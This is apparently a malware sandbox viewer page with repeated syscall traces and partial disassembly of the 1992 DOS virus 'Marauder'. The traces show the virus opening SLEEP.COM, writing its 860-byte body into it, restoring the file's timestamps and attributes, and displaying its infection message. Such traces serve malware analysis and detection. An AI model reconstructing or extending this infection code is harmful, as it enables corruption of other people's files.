Sample viewer

vx.netlux.org/Virus.DOS.Nuke.Marauder.a

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:07:51.591777154Z 53 PC: 12b3f | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T23:07:51.593137601Z 37 PC: 12b51 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T23:07:51.595209426Z 71 PC: 12b5c | Get current directory
2018-12-17T23:07:51.598969458Z 25 PC: 12b61 | Get default drive
2018-12-17T23:07:51.600120447Z 26 PC: 12b88 | Set disk transfer address
2018-12-17T23:07:51.602100936Z 42 PC: 12b8c | Get date 0x12b8c: cmp dx, 0x202
0x12b90: jne 0x12b95
0x12b92: jmp 0x12d53
0x12b95: mov ah, 0x4e
0x12b97: lea dx, word ptr [si + 0x438]
0x12b9b: mov cx, 7
0x12b9e: int 0x21
0x12ba0: jae 0x12be6
0x12ba2: mov ah, 0x1a
0x12ba4: lea dx, word ptr [si + 0x518]
0x12ba8: int 0x21
0x12baa: mov ah, 0x3b
0x12bac: lea dx, word ptr [si + 0x442]
0x12bb0: int 0x21
0x12bb2: jb 0x12bb6
0x12bb4: jmp 0x12b80
0x12bb6: cmp byte ptr [si + 0x45d], 1
0x12bbb: je 0x12bd6
0x12bbd: mov al, 1
0x12bbf: mov byte ptr [si + 0x45d], al
2018-12-17T23:07:51.604485905Z 78 PC: 12ba0 | Find first file
2018-12-17T23:07:51.611358114Z 67 PC: 12bf9 | Get or set file attributes
2018-12-17T23:07:51.628882005Z 61 PC: 12da1 | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:07:51.637654892Z 63 PC: 12c20 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:07:51.644819801Z 66 PC: 12d97 | Move file pointer
2018-12-17T23:07:51.647093003Z 44 PC: 12c8b | Get time 0x12c8b: cmp dx, 0
0x12c8e: je 0x12c87
0x12c90: mov word ptr [si + 0x119], dx
0x12c94: mov cl, 8
0x12c96: ror dx, cl
0x12c98: mov word ptr [si + 0x45b], dx
0x12c9c: cmp dl, 0x1e
0x12c9f: jle 0x12ca4
0x12ca1: jmp 0x12cc3
0x12ca3: nop
0x12ca4: lea si, word ptr [bp + 0x143]
0x12ca8: lea di, word ptr [bp + 0x11b]
0x12cac: mov cx, 0x10
0x12caf: call 0x12d6a
0x12cb2: lea si, word ptr [bp + 0x153]
0x12cb6: lea di, word ptr [bp + 0x133]
0x12cba: mov cx, 6
0x12cbd: call 0x12d6a
0x12cc0: jmp 0x12cdf
0x12cc2: nop
2018-12-17T23:07:51.649578568Z 64 PC: 12ad8 | Write file or device (Write 860 bytes on handle 5)
2018-12-17T23:07:51.655424151Z 66 PC: 12d8d | Move file pointer
2018-12-17T23:07:51.656897548Z 64 PC: 12d03 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:07:51.66445158Z 87 PC: 12d14 | Get or set file date and time
2018-12-17T23:07:51.665940437Z 62 PC: 12d18 | Close file
2018-12-17T23:07:51.674452105Z 67 PC: 12d27 | Get or set file attributes
2018-12-17T23:07:51.685279694Z 59 PC: 12d2f | Change current directory
2018-12-17T23:07:51.688130013Z 26 PC: 12d36 | Set disk transfer address
2018-12-17T23:07:51.689264621Z 37 PC: 12d41 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T23:07:51.691194585Z 9 PC: 12aa2 | Display string (String= 'This file is infected with the Marauder virus. 1992, Hellraiser Phalcon/Skism. ')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":15998,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:45:04.013451605Z 53 PC: 12b3f | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:45:04.014952579Z 37 PC: 12b51 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:45:04.016142729Z 71 PC: 12b5c | Get current directory
2018-12-25T12:45:04.019178029Z 25 PC: 12b61 | Get default drive
2018-12-25T12:45:04.020796812Z 26 PC: 12b88 | Set disk transfer address
2018-12-25T12:45:04.022151602Z 42 PC: 12b8c | Get date 0x12b8c: cmp dx, 0x202
0x12b90: jne 0x12b95
0x12b92: jmp 0x12d53
0x12b95: mov ah, 0x4e
0x12b97: lea dx, word ptr [si + 0x438]
0x12b9b: mov cx, 7
0x12b9e: int 0x21
0x12ba0: jae 0x12be6
0x12ba2: mov ah, 0x1a
0x12ba4: lea dx, word ptr [si + 0x518]
0x12ba8: int 0x21
0x12baa: mov ah, 0x3b
0x12bac: lea dx, word ptr [si + 0x442]
0x12bb0: int 0x21
0x12bb2: jb 0x12bb6
0x12bb4: jmp 0x12b80
0x12bb6: cmp byte ptr [si + 0x45d], 1
0x12bbb: je 0x12bd6
0x12bbd: mov al, 1
0x12bbf: mov byte ptr [si + 0x45d], al
2018-12-25T12:45:04.024521444Z 78 PC: 12ba0 | Find first file
2018-12-25T12:45:04.031120775Z 67 PC: 12bf9 | Get or set file attributes
2018-12-25T12:45:04.82828021Z 61 PC: 12da1 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:45:04.835774768Z 63 PC: 12c20 | Read file or device (Read 4 bytes on handle 5)
2018-12-25T12:45:04.842885406Z 66 PC: 12d97 | Move file pointer
2018-12-25T12:45:04.845430222Z 44 PC: 12c8b | Get time 0x12c8b: cmp dx, 0
0x12c8e: je 0x12c87
0x12c90: mov word ptr [si + 0x119], dx
0x12c94: mov cl, 8
0x12c96: ror dx, cl
0x12c98: mov word ptr [si + 0x45b], dx
0x12c9c: cmp dl, 0x1e
0x12c9f: jle 0x12ca4
0x12ca1: jmp 0x12cc3
0x12ca3: nop
0x12ca4: lea si, word ptr [bp + 0x143]
0x12ca8: lea di, word ptr [bp + 0x11b]
0x12cac: mov cx, 0x10
0x12caf: call 0x12d6a
0x12cb2: lea si, word ptr [bp + 0x153]
0x12cb6: lea di, word ptr [bp + 0x133]
0x12cba: mov cx, 6
0x12cbd: call 0x12d6a
0x12cc0: jmp 0x12cdf
0x12cc2: nop
2018-12-25T12:45:04.848217888Z 64 PC: 12ad8 | Write file or device (Write 860 bytes on handle 5)
2018-12-25T12:45:04.858332361Z 66 PC: 12d8d | Move file pointer
2018-12-25T12:45:04.860185239Z 64 PC: 12d03 | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:45:04.86460816Z 87 PC: 12d14 | Get or set file date and time
2018-12-25T12:45:04.865733181Z 62 PC: 12d18 | Close file
2018-12-25T12:45:04.876646906Z 67 PC: 12d27 | Get or set file attributes
2018-12-25T12:45:04.887963129Z 59 PC: 12d2f | Change current directory
2018-12-25T12:45:04.892790097Z 26 PC: 12d36 | Set disk transfer address
2018-12-25T12:45:04.894411981Z 37 PC: 12d41 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:45:04.897108693Z 9 PC: 12aa2 | Display string (String= 'This file is infected with the Marauder virus. 1992, Hellraiser Phalcon/Skism. ')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":15998,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:45:04.199699661Z 53 PC: 12b3f | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:45:04.210540793Z 37 PC: 12b51 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:45:04.211752941Z 71 PC: 12b5c | Get current directory
2018-12-25T12:45:04.214572455Z 25 PC: 12b61 | Get default drive
2018-12-25T12:45:04.215587962Z 26 PC: 12b88 | Set disk transfer address
2018-12-25T12:45:04.217173523Z 42 PC: 12b8c | Get date 0x12b8c: cmp dx, 0x202
0x12b90: jne 0x12b95
0x12b92: jmp 0x12d53
0x12b95: mov ah, 0x4e
0x12b97: lea dx, word ptr [si + 0x438]
0x12b9b: mov cx, 7
0x12b9e: int 0x21
0x12ba0: jae 0x12be6
0x12ba2: mov ah, 0x1a
0x12ba4: lea dx, word ptr [si + 0x518]
0x12ba8: int 0x21
0x12baa: mov ah, 0x3b
0x12bac: lea dx, word ptr [si + 0x442]
0x12bb0: int 0x21
0x12bb2: jb 0x12bb6
0x12bb4: jmp 0x12b80
0x12bb6: cmp byte ptr [si + 0x45d], 1
0x12bbb: je 0x12bd6
0x12bbd: mov al, 1
0x12bbf: mov byte ptr [si + 0x45d], al
2018-12-25T12:45:04.219202873Z 78 PC: 12ba0 | Find first file
2018-12-25T12:45:04.225110513Z 67 PC: 12bf9 | Get or set file attributes
2018-12-25T12:45:04.242999348Z 61 PC: 12da1 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:45:04.249554203Z 63 PC: 12c20 | Read file or device (Read 4 bytes on handle 5)
2018-12-25T12:45:04.256236787Z 66 PC: 12d97 | Move file pointer
2018-12-25T12:45:04.25845393Z 44 PC: 12c8b | Get time 0x12c8b: cmp dx, 0
0x12c8e: je 0x12c87
0x12c90: mov word ptr [si + 0x119], dx
0x12c94: mov cl, 8
0x12c96: ror dx, cl
0x12c98: mov word ptr [si + 0x45b], dx
0x12c9c: cmp dl, 0x1e
0x12c9f: jle 0x12ca4
0x12ca1: jmp 0x12cc3
0x12ca3: nop
0x12ca4: lea si, word ptr [bp + 0x143]
0x12ca8: lea di, word ptr [bp + 0x11b]
0x12cac: mov cx, 0x10
0x12caf: call 0x12d6a
0x12cb2: lea si, word ptr [bp + 0x153]
0x12cb6: lea di, word ptr [bp + 0x133]
0x12cba: mov cx, 6
0x12cbd: call 0x12d6a
0x12cc0: jmp 0x12cdf
0x12cc2: nop
2018-12-25T12:45:04.261010441Z 64 PC: 12ad8 | Write file or device (Write 860 bytes on handle 5)
2018-12-25T12:45:04.269568447Z 66 PC: 12d8d | Move file pointer
2018-12-25T12:45:04.272019724Z 64 PC: 12d03 | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:45:04.289944795Z 87 PC: 12d14 | Get or set file date and time
2018-12-25T12:45:04.291658465Z 62 PC: 12d18 | Close file
2018-12-25T12:45:04.300968823Z 67 PC: 12d27 | Get or set file attributes
2018-12-25T12:45:04.311079416Z 59 PC: 12d2f | Change current directory
2018-12-25T12:45:04.31496879Z 26 PC: 12d36 | Set disk transfer address
2018-12-25T12:45:04.316031854Z 37 PC: 12d41 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:45:04.317806522Z 9 PC: 12aa2 | Display string (String= 'This file is infected with the Marauder virus. 1992, Hellraiser Phalcon/Skism. ')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":1,"TimeBased":true,"OriginalID":15998,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:45:04.367939598Z 53 PC: 12b3f | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:45:04.369484402Z 37 PC: 12b51 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:45:04.37062987Z 71 PC: 12b5c | Get current directory
2018-12-25T12:45:04.374784304Z 25 PC: 12b61 | Get default drive
2018-12-25T12:45:04.376353776Z 26 PC: 12b88 | Set disk transfer address
2018-12-25T12:45:04.37745996Z 42 PC: 12b8c | Get date 0x12b8c: cmp dx, 0x202
0x12b90: jne 0x12b95
0x12b92: jmp 0x12d53
0x12b95: mov ah, 0x4e
0x12b97: lea dx, word ptr [si + 0x438]
0x12b9b: mov cx, 7
0x12b9e: int 0x21
0x12ba0: jae 0x12be6
0x12ba2: mov ah, 0x1a
0x12ba4: lea dx, word ptr [si + 0x518]
0x12ba8: int 0x21
0x12baa: mov ah, 0x3b
0x12bac: lea dx, word ptr [si + 0x442]
0x12bb0: int 0x21
0x12bb2: jb 0x12bb6
0x12bb4: jmp 0x12b80
0x12bb6: cmp byte ptr [si + 0x45d], 1
0x12bbb: je 0x12bd6
0x12bbd: mov al, 1
0x12bbf: mov byte ptr [si + 0x45d], al
2018-12-25T12:45:04.37962805Z 78 PC: 12ba0 | Find first file
2018-12-25T12:45:04.386374828Z 67 PC: 12bf9 | Get or set file attributes
2018-12-25T12:45:04.401354544Z 61 PC: 12da1 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:45:04.407824397Z 63 PC: 12c20 | Read file or device (Read 4 bytes on handle 5)
2018-12-25T12:45:04.414004179Z 66 PC: 12d97 | Move file pointer
2018-12-25T12:45:04.416118137Z 44 PC: 12c8b | Get time 0x12c8b: cmp dx, 0
0x12c8e: je 0x12c87
0x12c90: mov word ptr [si + 0x119], dx
0x12c94: mov cl, 8
0x12c96: ror dx, cl
0x12c98: mov word ptr [si + 0x45b], dx
0x12c9c: cmp dl, 0x1e
0x12c9f: jle 0x12ca4
0x12ca1: jmp 0x12cc3
0x12ca3: nop
0x12ca4: lea si, word ptr [bp + 0x143]
0x12ca8: lea di, word ptr [bp + 0x11b]
0x12cac: mov cx, 0x10
0x12caf: call 0x12d6a
0x12cb2: lea si, word ptr [bp + 0x153]
0x12cb6: lea di, word ptr [bp + 0x133]
0x12cba: mov cx, 6
0x12cbd: call 0x12d6a
0x12cc0: jmp 0x12cdf
0x12cc2: nop
2018-12-25T12:45:04.418514371Z 64 PC: 12ad8 | Write file or device (Write 860 bytes on handle 5)
2018-12-25T12:45:04.427514127Z 66 PC: 12d8d | Move file pointer
2018-12-25T12:45:04.429304925Z 64 PC: 12d03 | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:45:04.435962956Z 87 PC: 12d14 | Get or set file date and time
2018-12-25T12:45:04.438540728Z 62 PC: 12d18 | Close file
2018-12-25T12:45:04.446937762Z 67 PC: 12d27 | Get or set file attributes
2018-12-25T12:45:04.456711304Z 59 PC: 12d2f | Change current directory
2018-12-25T12:45:04.460644281Z 26 PC: 12d36 | Set disk transfer address
2018-12-25T12:45:04.463236163Z 37 PC: 12d41 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:45:04.464720442Z 9 PC: 12aa2 | Display string (String= 'This file is infected with the Marauder virus. 1992, Hellraiser Phalcon/Skism. ')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":1,"TimeBased":true,"OriginalID":15998,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:45:05.337774699Z 53 PC: 12b3f | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:45:05.338876427Z 37 PC: 12b51 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:45:05.339989501Z 71 PC: 12b5c | Get current directory
2018-12-25T12:45:05.341897364Z 25 PC: 12b61 | Get default drive
2018-12-25T12:45:05.342761449Z 26 PC: 12b88 | Set disk transfer address
2018-12-25T12:45:05.343681743Z 42 PC: 12b8c | Get date 0x12b8c: cmp dx, 0x202
0x12b90: jne 0x12b95
0x12b92: jmp 0x12d53
0x12b95: mov ah, 0x4e
0x12b97: lea dx, word ptr [si + 0x438]
0x12b9b: mov cx, 7
0x12b9e: int 0x21
0x12ba0: jae 0x12be6
0x12ba2: mov ah, 0x1a
0x12ba4: lea dx, word ptr [si + 0x518]
0x12ba8: int 0x21
0x12baa: mov ah, 0x3b
0x12bac: lea dx, word ptr [si + 0x442]
0x12bb0: int 0x21
0x12bb2: jb 0x12bb6
0x12bb4: jmp 0x12b80
0x12bb6: cmp byte ptr [si + 0x45d], 1
0x12bbb: je 0x12bd6
0x12bbd: mov al, 1
0x12bbf: mov byte ptr [si + 0x45d], al
2018-12-25T12:45:05.345237465Z 78 PC: 12ba0 | Find first file
2018-12-25T12:45:05.349155888Z 67 PC: 12bf9 | Get or set file attributes
2018-12-25T12:45:05.364556787Z 61 PC: 12da1 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:45:05.371507849Z 63 PC: 12c20 | Read file or device (Read 4 bytes on handle 5)
2018-12-25T12:45:05.378314303Z 66 PC: 12d97 | Move file pointer
2018-12-25T12:45:05.382015528Z 44 PC: 12c8b | Get time 0x12c8b: cmp dx, 0
0x12c8e: je 0x12c87
0x12c90: mov word ptr [si + 0x119], dx
0x12c94: mov cl, 8
0x12c96: ror dx, cl
0x12c98: mov word ptr [si + 0x45b], dx
0x12c9c: cmp dl, 0x1e
0x12c9f: jle 0x12ca4
0x12ca1: jmp 0x12cc3
0x12ca3: nop
0x12ca4: lea si, word ptr [bp + 0x143]
0x12ca8: lea di, word ptr [bp + 0x11b]
0x12cac: mov cx, 0x10
0x12caf: call 0x12d6a
0x12cb2: lea si, word ptr [bp + 0x153]
0x12cb6: lea di, word ptr [bp + 0x133]
0x12cba: mov cx, 6
0x12cbd: call 0x12d6a
0x12cc0: jmp 0x12cdf
0x12cc2: nop
2018-12-25T12:45:05.384725654Z 64 PC: 12ad8 | Write file or device (Write 860 bytes on handle 5)
2018-12-25T12:45:05.394738934Z 66 PC: 12d8d | Move file pointer
2018-12-25T12:45:05.396458421Z 64 PC: 12d03 | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:45:05.40361675Z 87 PC: 12d14 | Get or set file date and time
2018-12-25T12:45:05.405053326Z 62 PC: 12d18 | Close file
2018-12-25T12:45:05.413879415Z 67 PC: 12d27 | Get or set file attributes
2018-12-25T12:45:05.424895275Z 59 PC: 12d2f | Change current directory
2018-12-25T12:45:05.429642565Z 26 PC: 12d36 | Set disk transfer address
2018-12-25T12:45:05.432246917Z 37 PC: 12d41 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:45:05.433504425Z 9 PC: 12aa2 | Display string (String= 'This file is infected with the Marauder virus. 1992, Hellraiser Phalcon/Skism. ')